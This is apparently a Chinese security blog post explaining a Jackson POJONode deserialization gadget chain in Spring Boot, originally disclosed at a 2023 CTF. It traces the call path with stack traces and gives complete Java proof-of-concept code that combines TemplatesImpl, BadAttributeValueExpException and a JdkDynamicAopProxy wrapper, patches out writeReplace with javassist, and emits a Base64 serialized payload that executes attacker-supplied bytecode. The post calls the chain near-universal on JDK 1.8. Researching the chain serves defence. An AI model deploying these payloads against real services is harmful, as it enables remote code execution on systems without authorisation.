SpringBoot-jackson反序列化链

前言

Jackson 在 SpringBoot 中自带。而这个依赖包中的 POJONode 在调用 toString 会触发 getter 方法的调用。类似于 fastjson 的 parse 和 rome 的 ToStringBean#toString。因此如果目标环境可以用 TemplatesImpl 并且 jdk 版本较低,那么将可以在 SpringBoot 环境中造成反序列化 RCE。最先公布这条链是在 2023 AliyunCTF 上。

引入以下依赖

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.15</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    ...
    <properties>
        <java.version>1.8</java.version>
    </properties>
    ...
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.28.0-GA</version>
            <scope>compile</scope>
        </dependency>
    </dependencies>
    ...

分析

POJONode 在调用 toString 方法时会触发其携带节点的 getter 方法,

例如:

public class Main {
    public static void main(String[] args) throws Exception {
        User user = new User();
        POJONode jsonNodes = new POJONode(user);
        System.out.println(jsonNodes);
    }
}

public class User {

    private String name;

    public String getName() {
        System.out.println("调用了 getter 方法");
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

结果如下:

调用了 getter 方法
{"name":null}

完整的调用栈如下:

getName:12, User (link.f0rget.horse.jackson)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
valueOf:2994, String (java.lang)
println:821, PrintStream (java.io)
main:22, Main (link.f0rget.horse.jackson)

既然有这个特性,那么我们很容易在如下环境中构造出 getter 链。getter 链无非就那么几条:

  • TemplatesImpl 链
  • LdapAttribute 链
  • JdbcRowImpl 链->jndi(由于 setter 方法无法调用,fastjson 的链子不能用)

TemplatesImpl

异常

既然如此,就以 TemplatesImpl 为例子:

package link.f0rget.horse.jackson;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

/**
 * @author Shule
 * CreateTime: 2023/9/15 11:55
 */
public class Demo {
    public static void main(String[] args) throws Exception {
        Templates templates = new TemplatesImpl();
        byte[] bytecodes = Files.readAllBytes(Paths.get("Calc.class"));
        setFieldValue(templates,"_name","TemplatesImpl");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(templates,"_bytecodes",new byte[][]{bytecodes});
        setFieldValue(templates,"_transletIndex",0);
        POJONode jsonNodes = new POJONode(templates);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(new Object());
        setFieldValue(badAttributeValueExpException,"val",jsonNodes);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(badAttributeValueExpException);
        objectOutputStream.close();
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        byteArrayInputStream.close();
        new ObjectInputStream(byteArrayInputStream).readObject();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

正当我想要快乐的弹出计算器的时候,发生了这个错误:

idea64_59von8kY0x

注意到这一行信息: at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1136) 找到这段代码:

idea64_x7lwXfAUNH

上面这里的 if 语句是说,如果被序列化的类中存在 writeReplaceMethod ,那么将会判断后面的语句,也就是 (obj = desc.invokeWriteReplace(obj)) == null

idea64_xVA0UbGHG3

本来也没什么,毕竟 POJONode 的父类 ValueNode 的父类 BaseJsonNode 中确实定义了这个方法

idea64_9CxezXvnJI

可是在执行完我们带有 TemplatesImpl 的 POJONode 后却抛出了异常导致无法正常的序列化

idea64_FOzRy5uo0j

不断追踪发现 BaseJsonNode#writeReplaceMethod 会导致在序列化过程中就已经调用了 TemplatesImpl#getOutputProperties导致抛出异常

下图异常点下在 BeanPropertyWriter#serializeAsField

idea64_ivckFgUKTh

为了避免上述情况的发生我们可以在序列化之前加上这几行代码,利用 javassist 先删除 BaseJsonNode#writeReplace

        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();

同时参考 https://xz.aliyun.com/t/12846#toc-1 可知,有可能存在利用失败的情况,原因在于 TemplatesImpl 中存在好几个 get 方法。反序列化调用 get 方法的先后顺序不确定

transletindex
stylesheetDOM
outputProperties

某些 get 方法在反序列化过程中被调用会抛出异常,比如 getStylesheetDOM

idea64_rVBuIw5IJ5

其中被 transient 修饰的 _sdom 注定会在调用 get 方法时导致空指针异常。为了避免这样的情况发生,我们可以借助 org.springframework.aop.framework.JdkDynamicAopProxy 动态代理类完成封装调用,因为当我们使用反射获取一个代理类上的所有方法时,只能获取到其代理的接口方法。而 TemplatesImpl 实现的接口 Templates 中只有一个 getOutputProperties 方法。我们的目标也只需要调用它即可。

idea64_QN3QNCw317

JdkDynamicAopProxy

JdkDynamicAopProxy 是什么神仙类?

对于动态代理类我们重点要关注它的 invoke 方法。下面这里我删去了一些无关紧要的代码。我们可以发现在 else 语句中会将 target 对象传递给一个反射代理对象。而 target 对象又是从 this.advised.targetSource.getTarget() 获得的。

    @Override
    @Nullable
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        ...

        TargetSource targetSource = this.advised.targetSource;
        Object target = null;

        ...
        target = targetSource.getTarget();
        Class<?> targetClass = (target != null ? target.getClass() : null);    
        ...
            if (chain.isEmpty()) {
                // We can skip creating a MethodInvocation: just invoke the target directly
                // Note that the final invoker must be an InvokerInterceptor so we know it does
                // nothing but a reflective operation on the target, and no hot swapping or fancy proxying.
                Object[] argsToUse = AopProxyUtils.adaptArgumentsIfNecessary(method, args);
                retVal = AopUtils.invokeJoinpointUsingReflection(target, method, argsToUse);
            }
            else {
                // We need to create a method invocation...
                MethodInvocation invocation =
                        new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
                retVal = invocation.proceed();
            }

            ...
    }

这就不禁要问一下 this.advised 是什么东西了,在 JdkDynamicAopProxy 的构造器中我们可以很清晰的发现其实是一个 AdvisedSupport 对象

idea64_qoZESG4vMG

AdvisedSupport 中的 setTarget 方法很容易帮助我们将一个对象封装成 targetSource

idea64_qb67nIm11P

完整 PoC

这下问题就好办了,既然 JdkDynamicAopProxy 可以原封不动的反射调用我们封装后对象的方法,那么我们可以构造如下 PoC:

package link.f0rget.horse.jackson;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

/**
 * @author Shule
 * CreateTime: 2023/9/16 12:14
 */
public class Demo2 {
    public static void main(String[] args) throws Exception {
        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();

        byte[] code= Files.readAllBytes(Paths.get("Calc.class"));
        byte[][] codes={code};
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", codes);
        setFieldValue(templatesImpl, "_name", "TemplatesImpl");
        setFieldValue(templatesImpl, "_tfactory", null);

        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templatesImpl);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);

        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
        POJONode node = new POJONode(proxy);

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        setFieldValue(val, "val", node);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(val);
        objectOutputStream.close();
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
        byteArrayInputStream.close();

        new ObjectInputStream(byteArrayInputStream).readObject();
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

运行该 poc 即可完成弹出计算器的操作.

结语

在 jdk1.8 的环境下简直就是通杀,一向较为安全的 SpringBoot 竟然能够构造出如此厉害的反序列化链子,实在太妙了。

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇